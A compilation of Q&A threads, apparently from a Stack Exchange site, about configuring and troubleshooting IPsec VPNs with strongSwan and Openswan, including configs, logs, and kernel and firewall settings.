That's swanctl --list-sas, aka swanctl -l (with the lowercase L) for short: star6: #1, ESTABLISHED, IKEv2, c87e1f22cf7e22a6_i* d3f4680ff0337849_r local 'ember.nullroute.lt' @ 2001:778:e27f:0:9618:82ff:fe38:e480[4500] remote 'star.nullroute.lt' @ 2a02:7b40:50d1:e466::1[4500] AES_CBC-128/HMAC_SHA2_256_128/PRF_HMAC_SHA2_256/ECP_256 established 202176s ago, rekeying in 390602s gre: #7181, reqid 18, INSTALLED, TRANSPORT, ESP:AES_GCM_16-128 installed 45150s ago, rekeying in 38337s, expires in 49890s in c4b908f6, 0 bytes, 0 packets out c5d9c42b, 576 bytes, 12 packets, 2530s ago local 2001:778:e27f:0:9618:82ff:fe38:e480/128[gre] remote 2a02:7b40:50d1:e466::1/128[gre] ...Though if you want to extract this for scripting, it is better to directly query via vici IPC than to parse swanctl output. Some ESP/AH information can also be retrieved directly from the kernel, via ip xfrm policy and ip xfrm state (with the -s option to get statistics).
Previously it was in ipsec statusall. Now with swanctl I can only see swanctl --list-conns but it only shows the configuration details, not the runtime statistics: eg bytes transferred, negotiated ciphersuites, reauth/rekeying stats, and so on and so forth. So, is there any similar command in the "new" strongswan configuration?
What's the "new" way of checking the established connections in strongswan
The default proposals for IKE and ESP used by strongSwan have changed with 5.4.0. For IKEv2 the IKE and ESP proposals are basically the same, only the order of the algorithms has changed. However, for IKEv1 only the first algorithm of each transform type of the default proposals is sent, which means SHA-1 is not proposed anymore. So like you changed the IKE proposal with the ike setting you have to use a custom ESP proposal by specifying esp: esp=aes128-sha1
I'm using Debian Stretch, which is current testing release. Some time ago I set up a VPN connection using IPsec and it worked correctly. It suddenly stopped. It is possible that in the meantime some packages were upgraded (openssl or strongswan or other), but I'm not sure how to make it work again. The error message is: freyja@araguaney:~$ sudo ipsec up flow initiating Main Mode IKE_SA flow[1] to XXX.XXX.XXX.XXX generating ID_PROT request 0 [ SA V V V V ] sending packet: from XXX.XXX.XXX.XXX[500] to XXX.XXX.XXX.XXX[500] (216 bytes) received packet: from XXX.XXX.XXX.XXX[500] to XXX.XXX.XXX.XXX[500] (40 bytes) parsed INFORMATIONAL_V1 request 1195290638 [ N(NO_PROP) ] received NO_PROPOSAL_CHOSEN error notify establishing connection 'flow' failedIt looks like my client is not able to use the algorithms proposed (hence NO_PROPOSAL_CHOSEN). I asked our admin for an error that appears in server logs and it says: IKE: Main Mode Failed to match proposal: Transform: AES-128, SHA1, Group 2 (1024 bit) Reason: unsupported hash algorithm -1He also listed the algorithms which server provides. I included ike parameter to force one of the possible combinations: /etc/ipsec.conf:conn flow ... leftfirewall=yes ike=aes128-sha1-modp1024 ...When I use it the connection log is longer but also ends with fail:. ... reached self-signed root ca with a path length of 0 authentication of 'XXX.XXX.XXX.XXX' with RSA_EMSA_PKCS1_NULL successful IKE_SA flow[1] established between XXX.XXX.XXX.XXX[O=csc..puejse, OU=users, CN=freyja]...XXX.XXX.XXX.XXX[XXX.XXX.XXX.XXX] scheduling reauthentication in 3292s maximum IKE_SA lifetime 3472s generating TRANSACTION request 3626856411 [ HASH CPRQ(ADDR DNS) ] sending packet: from XXX.XXX.XXX.XXX[4500] to XXX.XXX.XXX.XXX[4500] (76 bytes) received packet: from XXX.XXX.XXX.XXX[4500] to XXX.XXX.XXX.XXX[4500] (92 bytes) parsed TRANSACTION response 3626856411 [ HASH CPRP(ADDR DNS DNS) ] installing DNS server XXX.XXX.XXX.XXX to /etc/resolv.conf installing DNS server XXX.XXX.XXX.XXX to /etc/resolv.conf installing new virtual IP XXX.XXX.XXX.XXX generating QUICK_MODE request 2757640703 [ HASH SA No ID ID ] sending packet: from XXX.XXX.XXX.XXX[4500] to XXX.XXX.XXX.XXX[4500] (204 bytes) received packet: from XXX.XXX.XXX.XXX[4500] to XXX.XXX.XXX.XXX[4500] (252 bytes) parsed INFORMATIONAL_V1 request 2437352460 [ HASH N(NO_PROP) ] received NO_PROPOSAL_CHOSEN error notify establishing connection 'flow' failedAgain, there is some information about hash function. I checked using ipsec listalgs that the hash functions proposed by the server are supported. So I don't know how to proceed with it. I tried downgrading openssl, I removed current package (1.0.2h) and installed Ubuntu one (1.0.2.d -- the connection works for my colleague on his Ubuntu which uses this package). It didn't help. I think that there is something wrong with my system SSL capabilities, because I also cannot negotiate with a mail server that used to work. But I don't know how to debug this and restore these capabilities. (These are all my wild guesses, because I'm not an advanced user). Please help.
Cannot connect to VPN with ipsec after upgrade
After about one month, we stopped working on StrongSWAN and used CHR ( Mikrotik Cloud Hosted Router ) the setup was easy and fast and didn't met any issues in the past two months. So for anyone who is reading this question, you can switch to CHR with free license or test LibreSWAN Route-based VPN using VTI.
If you think troubleshooting IPsec is tedious, please forget about my logs and just let me know the implementation process, I'm still confused and any information is helpful. I removed SPIs and here is my IP map: Our private IP address: 10.1.1.2 Our S-NAT IP address: 172.16.0.1 Our Pubic/EIP address: 1.1.1.1 CheckPoint GW: 2.2.2.2 Instance behind CheckPoint: 192.168.1.1On the leftside I have StrongSWAN on AWS EC2 instance behind its 1:1 NAT and Elastic IP with this configuration: /etc/ipsec.conf: config setup # strictcrlpolicy=yes # uniqueids = no charondebug="ike 2, knl 2, cfg 2"conn %default keyexchange=ikev2 ike=aes256-sha256-modp2048 ikelifetime=86400s esp=aes256-sha256-modp2048 lifetime=10800s keyingtries=%forever dpddelay=30s dpdtimeout=120s dpdaction=restartconn Tunnel1 auto=start left=10.1.1.2 # Our private IP address leftsubnet=172.16.0.1/32 # Our S-NAT IP address leftauth=psk leftid=1.1.1.1 # Our Pubic/EIP address right=2.2.2.2 # CheckPoint GW rightsubnet=192.168.1.1/32 # Instance behind CheckPoint rightauth=psk rightid=2.2.2.2 # CheckPoint GW type=tunnel compress=no mark=42/etc/ipsec.secrets: 1.1.1.1 2.2.2.2 : PSK "OURSECRET"/etc/strongswan.d/charon.conf: install_routes = no install_virtual_ip = noand on the rightside there is a CheckPoint device that is behind a firewall that accepts policy only if the source of the packet is 172.16.0.1/32 and its destination is 192.168.1.1/32. But I don't have that IP on my interface and it's a pseudo IP to hide our private range from the rightside (CheckPoint). This instance should act as a router and pass traffic from other instances through IPsec tunnel but every packet should be SNATed to 172.16.0.1/32. I start StongSWAN: systemctl start strongswan && systemctl status -l strongswanLoaded: loaded (/lib/systemd/system/strongswan.service; disabled; vendor preset: enabled) Active: active (running) since Tue 2019-07-23 10:20:22 EEST; 12s ago Process: 2163 ExecStart=/usr/sbin/ipsec start (code=exited, status=0/SUCCESS) Process: 2160 ExecStartPre=/bin/mkdir -p /var/lock/subsys (code=exited, status=0/SUCCESS) Main PID: 2190 (starter) Tasks: 18 Memory: 12.2M CPU: 54ms CGroup: /system.slice/strongswan.service ├─2190 /usr/lib/ipsec/starter --daemon charon └─2191 /usr/lib/ipsec/charon --use-syslog --debug-ike 2 --debug-knl 2 --debug-cfg 2Configure iptables: iptables --append INPUT -s 2.2.2.2 -j ACCEPT iptables --append INPUT -d 2.2.2.2 -j ACCEPT iptables --table mangle --append FORWARD -o Tunnel1 -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --clamp-mss-to-pmtuCheck IKEv2 is successful: ipsec statusall Status of IKE charon daemon (strongSwan 5.3.5, Linux 4.4.0-1087-aws, x86_64): uptime: 79 seconds, since Jul 23 10:20:22 2019 malloc: sbrk 1646592, mmap 0, used 568016, free 1078576 worker threads: 11 of 16 idle, 5/0/0/0 working, job queue: 0/0/0/0, scheduled: 4 loaded plugins: charon test-vectors aes rc2 sha1 sha2 md4 md5 random nonce x509 revocation constraints pubkey pkcs1 pkcs7 pkcs8 pkcs12 pgp dnskey sshkey pem openssl fips-prf gmp agent xcbc hmac gcm attr kernel-netlink resolve socket-default connmark farp stroke updown eap-identity eap-sim eap-sim-pcsc eap-aka eap-aka-3gpp2 eap-simaka-pseudonym eap-simaka-reauth eap-md5 eap-gtc eap-mschapv2 eap-dynamic eap-radius eap-tls eap-ttls eap-peap eap-tnc xauth-generic xauth-eap xauth-pam xauth-noauth tnc-tnccs tnccs-20 tnccs-11 tnccs-dynamic dhcp lookip error-notify certexpire led addrblock unity Listening IP addresses: 10.1.1.2 Connections: Tunnel1: 10.1.1.2...2.2.2.2 IKEv2, dpddelay=30s Tunnel1: local: [1.1.1.1] uses pre-shared key authentication Tunnel1: remote: [2.2.2.2] uses pre-shared key authentication Tunnel1: child: 172.16.0.1/32 === 192.168.1.1/32 TUNNEL, dpdaction=restart Security Associations (1 up, 0 connecting): Tunnel1[1]: ESTABLISHED 79 seconds ago, 10.1.1.2[1.1.1.1]...2.2.2.2[2.2.2.2] Tunnel1[1]: IKEv2 SPIs: ##**REMOVED**##* ##**REMOVED**##, pre-shared key reauthentication in 23 hours Tunnel1[1]: IKE proposal: AES_CBC_256/HMAC_SHA2_256_128/PRF_HMAC_SHA2_256/MODP_2048 Tunnel1{1}: INSTALLED, TUNNEL, reqid 1, ESP in UDP SPIs: c05ce72f_i 35f8fdaa_o Tunnel1{1}: AES_CBC_256/HMAC_SHA2_256_128, 0 bytes_i, 0 bytes_o, rekeying in 2 hours Tunnel1{1}: 172.16.0.1/32 === 192.168.1.1/32Check if XFRM policies has been added: ip -s -s xfrm policy: src 192.168.1.1/32 dst 172.16.0.1/32 uid 0 dir fwd action allow index 82 priority 2819 share any flag (0x00000000) lifetime config: limit: soft (INF)(bytes), hard (INF)(bytes) limit: soft (INF)(packets), hard (INF)(packets) expire add: soft 0(sec), hard 0(sec) expire use: soft 0(sec), hard 0(sec) lifetime current: 0(bytes), 0(packets) add 2019-07-23 10:20:22 use - mark 0x2a/0xffffffff tmpl src 2.2.2.2 dst 10.1.1.2 proto esp spi 0x00000000(0) reqid 1(0x00000001) mode tunnel level required share any enc-mask ffffffff auth-mask ffffffff comp-mask ffffffff src 192.168.1.1/32 dst 172.16.0.1/32 uid 0 dir in action allow index 72 priority 2819 share any flag (0x00000000) lifetime config: limit: soft (INF)(bytes), hard (INF)(bytes) limit: soft (INF)(packets), hard (INF)(packets) expire add: soft 0(sec), hard 0(sec) expire use: soft 0(sec), hard 0(sec) lifetime current: 0(bytes), 0(packets) add 2019-07-23 10:20:22 use - mark 0x2a/0xffffffff tmpl src 2.2.2.2 dst 10.1.1.2 proto esp spi 0x00000000(0) reqid 1(0x00000001) mode tunnel level required share any enc-mask ffffffff auth-mask ffffffff comp-mask ffffffff src 172.16.0.1/32 dst 192.168.1.1/32 uid 0 dir out action allow index 65 priority 2819 share any flag (0x00000000) lifetime config: limit: soft (INF)(bytes), hard (INF)(bytes) limit: soft (INF)(packets), hard (INF)(packets) expire add: soft 0(sec), hard 0(sec) expire use: soft 0(sec), hard 0(sec) lifetime current: 0(bytes), 0(packets) add 2019-07-23 10:20:22 use - mark 0x2a/0xffffffff tmpl src 10.1.1.2 dst 2.2.2.2 proto esp spi 0x00000000(0) reqid 1(0x00000001) mode tunnel level required share any enc-mask ffffffff auth-mask ffffffff comp-mask ffffffffip -s -s xfrm state: src 10.1.1.2 dst 2.2.2.2 proto esp spi ##**REMOVED**##(##**REMOVED**##) reqid 1(0x00000001) mode tunnel replay-window 32 seq 0x00000000 flag af-unspec (0x00100000) mark 0x2a/0xffffffff auth-trunc hmac(sha256) ##**REMOVED**## (256 bits) 128 enc cbc(aes) ##**REMOVED**## (256 bits) encap type espinudp sport 4500 dport 4500 addr 0.0.0.0 anti-replay context: seq 0x0, oseq 0x0, bitmap 0x00000000 lifetime config: limit: soft (INF)(bytes), hard (INF)(bytes) limit: soft (INF)(packets), hard (INF)(packets) expire add: soft 9745(sec), hard 10800(sec) expire use: soft 0(sec), hard 0(sec) lifetime current: 0(bytes), 0(packets) add 2019-07-23 10:20:22 use - stats: replay-window 0 replay 0 failed 0 src 2.2.2.2 dst 10.1.1.2 proto esp spi ##**REMOVED**##(##**REMOVED**##) reqid 1(0x00000001) mode tunnel replay-window 32 seq 0x00000000 flag af-unspec (0x00100000) mark 0x2a/0xffffffff auth-trunc hmac(sha256) ##**REMOVED**## (256 bits) 128 enc cbc(aes) ##**REMOVED**## (256 bits) encap type espinudp sport 4500 dport 4500 addr 0.0.0.0 anti-replay context: seq 0x0, oseq 0x0, bitmap 0x00000000 lifetime config: limit: soft (INF)(bytes), hard (INF)(bytes) limit: soft (INF)(packets), hard (INF)(packets) expire add: soft 10057(sec), hard 10800(sec) expire use: soft 0(sec), hard 0(sec) lifetime current: 0(bytes), 0(packets) add 2019-07-23 10:20:22 use - stats: replay-window 0 replay 0 failed 0Create VTI device: ip tunnel add Tunnel1 local 10.1.1.2 remote 2.2.2.2 mode vti key 42 ip addr add 172.16.0.1/32 remote 192.168.1.1/32 dev Tunnel1 ip link set Tunnel1 up mtu 1419Disable policy on tunnel and adding iptables TCPMSS: sysctl -w net.ipv4.conf.Tunnel1.disable_policy=1 iptables --table mangle --append FORWARD -m policy --pol ipsec --dir in -p tcp -m tcp --tcp-flags SYN,RST SYN -m tcpmss --mss 1361:1536 -j TCPMSS --set-mss 1360 iptables --table mangle --append FORWARD -m policy --pol ipsec --dir out -p tcp -m tcp --tcp-flags SYN,RST SYN -m tcpmss --mss 1361:1536 -j TCPMSS --set-mss 1360but when I ping 192.168.1.1 with source 172.16.0.1, I get Destination Host Unreachable. ping 192.168.1.1 OR ping -I 172.16.0.1 192.168.1.1 OR ping -I Tunnel1 192.168.1.1ping -c 3 -I 172.16.0.1 192.168.1.1 PING 192.168.1.1 (192.168.1.1) from 172.16.0.1 Tunnel1: 56(84) bytes of data. From 172.16.0.1 icmp_seq=1 Destination Host Unreachable From 172.16.0.1 icmp_seq=2 Destination Host Unreachable From 172.16.0.1 icmp_seq=3 Destination Host Unreachable--- 192.168.1.1 ping statistics --- 3 packets transmitted, 0 received, +3 errors, 100% packet loss, time 1998mshere are some other logs: ip address show: 3: ip_vti0@NONE: <NOARP> mtu 1480 qdisc noop state DOWN group default qlen 1 link/ipip 0.0.0.0 brd 0.0.0.0 4: Tunnel1@NONE: <POINTOPOINT,NOARP,UP,LOWER_UP> mtu 1419 qdisc noqueue state UNKNOWN group default qlen 1 link/ipip 10.1.1.2 peer 2.2.2.2 inet 172.16.0.1 peer 192.168.1.1/32 scope global Tunnel1 valid_lft forever preferred_lft foreverip -s -s link show: 3: ip_vti0@NONE: <NOARP> mtu 1480 qdisc noop state DOWN mode DEFAULT group default qlen 1 link/ipip 0.0.0.0 brd 0.0.0.0 RX: bytes packets errors dropped overrun mcast 0 0 0 0 0 0 RX errors: length crc frame fifo missed 0 0 0 0 0 TX: bytes packets errors dropped carrier collsns 0 0 0 0 0 0 TX errors: aborted fifo window heartbeat transns 0 0 0 0 0 4: Tunnel1@NONE: <POINTOPOINT,NOARP,UP,LOWER_UP> mtu 1419 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1 link/ipip 10.1.1.2 peer 2.2.2.2 RX: bytes packets errors dropped overrun mcast 0 0 0 0 0 0 RX errors: length crc frame fifo missed 0 0 0 0 0 TX: bytes packets errors dropped carrier collsns 0 0 14 0 14 0 TX errors: aborted fifo window heartbeat transns 0 0 0 0 0ip -s tunnel show Tunnel1: Tunnel1: ip/ip remote 2.2.2.2 local 10.1.1.2 ttl inherit key 42 RX: Packets Bytes Errors CsumErrs OutOfSeq Mcasts 0 0 0 0 0 0 TX: Packets Bytes Errors DeadLoop NoRoute NoBufs 0 0 14 0 14 0ifconfig -a: Tunnel1 Link encap:IPIP Tunnel HWaddr inet addr:172.16.0.1 P-t-P:192.168.1.1 Mask:255.255.255.255 UP POINTOPOINT RUNNING NOARP MTU:1419 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:14 dropped:0 overruns:0 carrier:14 collisions:0 txqueuelen:1 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) ip_vti0 Link encap:IPIP Tunnel HWaddr NOARP MTU:1480 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)I disabled source and destination check on AWS EC2 and I whitelisted the rightside (Checkpoint) IP addess for all traffic in AWS security groups, I'm sure NAT-Traversal is supported and I can see it's traffic with tcpdump: tcpdump -i any -nnnNq host 2.2.2.2 10:32:02.983136 IP 10.1.1.2.500 > 2.2.2.2.500: UDP, length 1084 10:32:03.035572 IP 2.2.2.2.500 > 10.1.1.2.500: UDP, length 708 10:32:03.044827 IP 10.1.1.2.4500 > 2.2.2.2.4500: UDP, length 372 10:32:03.108335 IP 2.2.2.2.4500 > 10.1.1.2.4500: UDP, length 276 10:32:27.042735 IP 10.1.1.2.4500 > 2.2.2.2.4500: UDP, length 1 10:32:33.110661 IP 10.1.1.2.4500 > 2.2.2.2.4500: UDP, length 84 10:32:33.159623 IP 2.2.2.2.4500 > 10.1.1.2.4500: UDP, length 84 10:32:57.043342 IP 10.1.1.2.4500 > 2.2.2.2.4500: UDP, length 1 10:33:03.110977 IP 10.1.1.2.4500 > 2.2.2.2.4500: UDP, length 84CheckPoint shows the tunnel has been established but I don't get any tcpdump when I send ping packets. journalctl -fu strongswan is available from here: https://pastebin.com/AuephC04 I tried VTI endpoint this way too but it did not make any changes: ip tunnel add Tunnel1 local 10.1.1.2 remote 2.2.2.2 mode vti key 42 ip addr add 172.16.0.1/32 remote 0.0.0.0/0 dev Tunnel1 ip link set Tunnel1 up mtu 1419Am I implementing this structure correctly? Should I set the pseudo IP on the VTI device? Should I add another iptables rule to apply MARK something like this? iptables -t mangle -A INPUT -p esp -s 2.2.2.2 -d 1.1.1.1 -j MARK --set-xmark 42Versions: ipsec --version: Linux strongSwan U5.3.5/K4.4.0-1087-awslsb_release -a: Distributor ID: Ubuntu Description: Ubuntu 16.04.6 LTS Release: 16.04 Codename: xenialdpkg -l | grep -i strongswan: ii libcharon-extra-plugins 5.3.5-1ubuntu3.8 amd64 strongSwan charon library (extra plugins) ii libstrongswan 5.3.5-1ubuntu3.8 amd64 strongSwan utility and crypto library ii libstrongswan-standard-plugins 5.3.5-1ubuntu3.8 amd64 strongSwan utility and crypto library (standard plugins) ii strongswan 5.3.5-1ubuntu3.8 all IPsec VPN solution metapackage ii strongswan-charon 5.3.5-1ubuntu3.8 amd64 strongSwan Internet Key Exchange daemon ii strongswan-libcharon 5.3.5-1ubuntu3.8 amd64 strongSwan charon library ii strongswan-starter 5.3.5-1ubuntu3.8 amd64 strongSwan daemon starter and configuration file parser ii strongswan-tnc-base 5.3.5-1ubuntu3.8 amd64 strongSwan Trusted Network Connect's (TNC) - base filesThanks in advance for your help.
IPsec IKEv2 succesful but Linux VTI does not work with SNAT
In its default configuration pki's --gen command generates RSA keys using the random and gmp plugins. Since the random plugin reads from /dev/random this might take a while as that device blocks (i.e. does not return any data) if the system's entropy pool is exhausted. The wiki page of the --gen command describes possible workarounds, one is configuring the random plugin to use /dev/urandom (which does not block), another is switching to a different plugin to generate the keys (e.g. the openssl plugin).
I would like to know why the first time I run the "ipsec pki" command to get a private key this key is generated quickly, but the next time you try to run the same command to get this key because you have deleted the old one it takes about 5-10 minutes.
StrongSwan - ipsec pki command
Local office server: 175.139.xxx.xxx Is that the actual ip address of the local office server? or is that the publicly visible NAT address of your office network? The tsrc address needs to be the servers local ipv4 address, not the office NAT address. Note that this should only be changed on this side of the tunnel. The remote server will still use the NAT address as the tsdt address.
I running 2 Solaris 10 box and trying to tunnel them up through Internet. 1 at the hosting site while the other sitting in my office. ifconfig ip.tun0 plumb ifconfig ip.tun0 192.168.1.207 192.168.1.239 tsrc 175.139.xxx.xxx tdst 202.187.xxx.xxx ifconfig: Failure: ip.tun0: Cannot assign requested addressI able to execute the command at the hosting box but fail to execute at the one in my office. Why?
Fail to tunnel between two Solaris 10
The masquerade rule tells the system to enable nat on outgoing connections, which is typical of networks using private internal addressing. It's a routing rule not technically related to ipsec specifically. The port 4500 is used for ipsec nat traversal when one or both sides are behind other routers and don't have their own routable ip addresses. Each nic belongs to a zone, zones are preconfigured with rules. internal, dmz and public are quite different from each other.
On my CentOS I have firewalld running and my eth0 is in default zone. I use dockers for my services to communicate and in dockers I have enabled encryption. Docker creates an overlay network and uses IPSEC. But firewalld drops IPSEC connection. I found a link which has about 5-6 commands for IPSEC to work and if I play those commands, things work fine. These are listed on this link https://www.centos.org/forums/viewtopic.php?t=56130 I am not clear how the default zone is where my nic eth0 is and I have to modify dmz zone. What is the use of masquerade and port 4500? firewall-cmd --zone=dmz --permanent --add-rich-rule='rule protocol value="esp" accept'firewall-cmd --zone=dmz --permanent --add-rich-rule='rule protocol value="ah" accept'firewall-cmd --zone=dmz --permanent --add-port=500/udp firewall-cmd --zone=dmz --permanent --add-port=4500/udp firewall-cmd --permanent --add-service="ipsec"firewall-cmd --zone=dmz --permanent --add-masquerade
enabling ipsec, ah and esp on CentOS with firewalld in place
These kernel config settings do the trick: CONFIG_INET_XFRM_MODE_TRANSPORT=y CONFIG_INET_XFRM_MODE_TUNNEL=y
I'm trying to setup an IPsec connection between two Linux systems. I've enabled the kernel options mentioned on the IPsec Howto. I've setup a setkey script like this: #! /usr/sbin/setkey -vf add 192.168.210.1 192.168.210.2 esp 24501 -E 3des-cbc "123456789012123456789012"; add 192.168.210.1 192.168.210.2 ah 24500 -A hmac-md5 "1234567890123456";The results come back with "Protocol not supported" (details below). I've double checked the kernel settings using /proc/config.gz: Every one of the options mentioned in the howto has a 'y'. What else might I be missing? # /flash/ipsec sadb_msg{ version=2 type=3 errno=0 satype=3 len=16 reserved=0 seq=0 pid=23105 sadb_ext{ len=4 type=9 } sadb_key{ bits=192 reserved=0 key= 03000500 ff200000 02000000 44f2adbf 00000000 00000000 } sadb_ext{ len=2 type=1 } sadb_sa{ spi=24501 replay=0 state=0 auth=0 encrypt=3 flags=0x00000040 } sadb_ext{ len=2 type=19 } sadb_x_sa2{ mode=0 reqid=0 reserved1=52 reserved2=2 sequence=1076530488 } sadb_ext{ len=3 type=5 } sadb_address{ proto=255 prefixlen=32 reserved=0x0000 } sockaddr{ len=16 family=2 port=0 44f2adbf } sadb_ext{ len=3 type=6 } sadb_address{ proto=255 prefixlen=32 reserved=0x0000 } sockaddr{ len=16 family=2 port=0 b86ae316 }sadb_msg{ version=2 type=3 errno=93 satype=3 len=2 reserved=0 seq=0 pid=23105The result of line 2: Protocol not supported. sadb_msg{ version=2 type=3 errno=0 satype=2 len=15 reserved=0 seq=0 pid=23105 sadb_ext{ len=3 type=8 } sadb_key{ bits=128 reserved=0 key= 02000000 44f2adbf 00000000 00000000 } sadb_ext{ len=2 type=1 } sadb_sa{ spi=24500 replay=0 state=0 auth=2 encrypt=0 flags=0x00000040 } sadb_ext{ len=2 type=19 } sadb_x_sa2{ mode=0 reqid=0 reserved1=52 reserved2=2 sequence=1076530488 } sadb_ext{ len=3 type=5 } sadb_address{ proto=255 prefixlen=32 reserved=0x0000 } sockaddr{ len=16 family=2 port=0 44f2adbf } sadb_ext{ len=3 type=6 } sadb_address{ proto=255 prefixlen=32 reserved=0x0000 } sockaddr{ len=16 family=2 port=0 b86ae316 }sadb_msg{ version=2 type=3 errno=93 satype=2 len=2 reserved=0 seq=0 pid=23105The result of line 3: Protocol not supported. #
Getting "Protocol not supported" from setkey: why?
The answer to this one in the end was that openVZ VPS providers have to have a kernel that supports ipsec and must enable ipsec modules on the host machine. Some of our providers would not do this as its a big change for the host machine. Instead we found all our providers supported the openvpn protocol and we enabled 'tun' on all our openvz VPS's with our providers.
I'm trying to setup ipsec however pluto appears not to bind to a public IP and IPsec Kernel requires updating. This is what I've come up with so far: -IPSec Verify states my kernel is not supporting IPsec -I've had the VPS provider enable IPSec in the openvz environment on the host machine however they state I have to rebuild the kernel and provided me a link to the linux kernel archive site for generic linux kernels. -I've tried building the kernel and installing it but I cannot seem to get it to install properly. The last step I do is 'mkinitramfs -o initrd.img-3.16.3 3.16.3' -tutorials state to do stuff with grub, however I am on a VPS and don't think grub is even on my VPS image? One tutorial I followed: http://www.cyberciti.biz/tips/compiling-linux-kernel-26.htmlI tried some grub commands and nothing seems to be there. How do you write a kernel to a VPS container from within the container?-I had given up on building from source and found *.deb kernel packages and tried installing them, they seemed to unpack and no errors came from it but when I rebooted it was still the old kernel, is there a special command you use with dpkg-buildpackage to make it install? Is it having issues installing due to no boot loader since it's a VPS?(assuming a container doesn't hold a boot loader?) here is my ipsec output but I think part of the issue is the kernel: Sep 18 04:36:45 shiftmy ipsec_setup: Starting Openswan IPsec 2.6.41... Sep 18 04:36:45 shiftmy ipsec_setup: Using NETKEY(XFRM) stack Sep 18 04:36:45 shiftmy ipsec_setup: multiple ip addresses, using 127.0.0.2 on venet0 Sep 18 04:36:45 shiftmy ipsec_setup: ...Openswan IPsec started Sep 18 04:36:45 shiftmy ipsec__plutorun: adjusting ipsec.d to /etc/ipsec.d Sep 18 04:36:45 shiftmy pluto: adjusting ipsec.d to /etc/ipsec.d Sep 18 04:36:45 shiftmy ipsec__plutorun: 002 added connection description "L2TP-PSK-noNAT" Sep 18 04:36:45 shiftmy ipsec__plutorun: 003 no public interfaces foundhere is my interfaces file, I read somewhere that ipsec binds to the default interface that is first in the interface list. in this case venet0 127.0.0.2 while the public IP is on venet0:0 107.161.xx.xx(not sure if this is the issue) My VPS providers interfaces file is locked so I cannot modify that part, I believe all traffic goes from 107.161.xx.xx through 127.0.0.2 which connects to the openvz host machine aka gateway. root@shiftmy:/etc/network# cat /etc/network/interfaces # This configuration file is auto-generated. # # WARNING: Do not edit this file, your changes will be lost. # Please create/edit /etc/network/interfaces.head and # /etc/network/interfaces.tail instead, their contents will be # inserted at the beginning and at the end of this file, respectively. # # NOTE: it is NOT guaranteed that the contents of /etc/network/interfaces.tail # will be at the very end of this file. ## Auto generated lo interface auto lo iface lo inet loopback# Auto generated venet0 interface auto venet0 iface venet0 inet manual up ifconfig venet0 up up ifconfig venet0 127.0.0.2 up route add default dev venet0 down route del default dev venet0 down ifconfig venet0 downiface venet0 inet6 manual up route -A inet6 add default dev venet0 down route -A inet6 del default dev venet0auto venet0:0 iface venet0:0 inet static address 107.161.xx.xx netmask 255.255.255.255I have been searching the net for "ipsec__plutorun: 003 no public interfaces found" issues and can't find much help. Not sure if this is even the real problem as I believe I setup the interfaces correctly. ipsec verify also fails: Version check and ipsec on-path [OK] Openswan U2.6.41/K(no kernel code presently loaded) See `ipsec --copyright' for copyright information. Checking for IPsec support in kernel [FAILED] The ipsec service should be started before running 'ipsec verify'Hardware random device check [N/A] Two or more interfaces found, checking IP forwarding [OK] Checking rp_filter [ENABLED] /proc/sys/net/ipv4/conf/all/rp_filter [ENABLED] Checking that pluto is running [OK] Pluto listening for IKE on udp 500 [FAILED] Pluto listening for IKE on tcp 500 [NOT IMPLEMENTED] Pluto listening for IKE/NAT-T on udp 4500 [DISABLED] Pluto listening for IKE/NAT-T on tcp 4500 [NOT IMPLEMENTED] Pluto listening for IKE on tcp 10000 (cisco) [NOT IMPLEMENTED] Checking NAT and MASQUERADEing [TEST INCOMPLETE] Checking 'ip' command [OK] Checking 'iptables' command [OK]ipsec verify: encountered errorsI've read it can fail if ipsec isn't started correctly and show false failures in some sections of the checklist. IPsec seems to be 'running', i'm not sure if Kernel support is truly not there or if that's a false failure? Also not sure how to fix the pluto failure. I have followed various guides and cannot seem to get over this issue. ipsec config: root@shiftmy:/etc/network# cat /etc/ipsec.conf version 2.0 # conforms to second version of ipsec.conf specificationconfig setup interfaces=%defaultroute dumpdir=/var/run/pluto/ nat_traversal=yes virtual_private=%v4:10.0.0.0/8,%v4:192.168.0.0/16,%v4:172.16.0.0/12,%v4:25.0.0.0/8,%v6:fd00::/8,%v6:fe80::/10 oe=off protostack=auto protostack=netkey force_keepalive=yes keep_alive=60conn L2TP-PSK-noNAT authby=secret pfs=no auto=add keyingtries=3 ikelifetime=8h keylife=1h ike=aes256-sha1;modp1024! phase2alg=aes256-sha1;modp1024 type=transport left=107.161.xx.xx leftprotoport=17/1701 right=%any rightprotoport=17/%any dpddelay=10 dpdtimeout=20 dpdaction=clearipsec secrets: root@shiftmy:/etc/network# cat /etc/ipsec.secrets 107.161.xx.xx %any: PSK "<key here>" #include /var/lib/openswan/ipsec.secrets.inc
Pluto not finding interface on a ipsec VPN
One defines the local IP address(es), left, which does not have to be specified unless it should be restricted. The other, leftid, the local identity used during authentication, which will default to the local IP address or the subject DN of the local certificate, if one is configured. Note that the convention is to use left... options for local settings and right... for those of the remote, but they might get swapped if an IP in right is found locally. Please refer to the man page for ipsec.conf (man ipsec.conf) or the wiki page for the conn section for details.You can't set left to an IP address that's not installed on any local interface. As you can see in the log, the daemon won't be able to send packets from that address. Likewise, inbound request are dropped because the destination address doesn't match the config (the no IKE config found for ... message). So either don't configure it (same as setting it to %any) or configure a local address from/on which packets can be sent/received (e.g. 172.30.13.1 in your case).
This tutorial use left parameter when setup strongswan, while this tutorial also use leftid parameter. What is the difference between left and leftid? Update I setup strongswan on aws ec2 with the config as following: conn aws-to-corp authby=secret #left=%any left=52.82.6.111 leftid=52.82.6.111 leftsubnet=172.30.0.0/20 right=223.71.239.218 rightsubnet=192.168.1.0/24 ike=3des-md5-modp1024! esp=3des-md5! keyingtries=0 ikelifetime=1h lifetime=8h dpddelay=30 dpdtimeout=120 dpdaction=restart auto=startWhen I set left=%any, strongswan works fine, but when I set left=52.82.6.111, there are some error in /var/log/syslog:Can anyone explain why this happens?
strongswan: What is the difference between left and leftid?
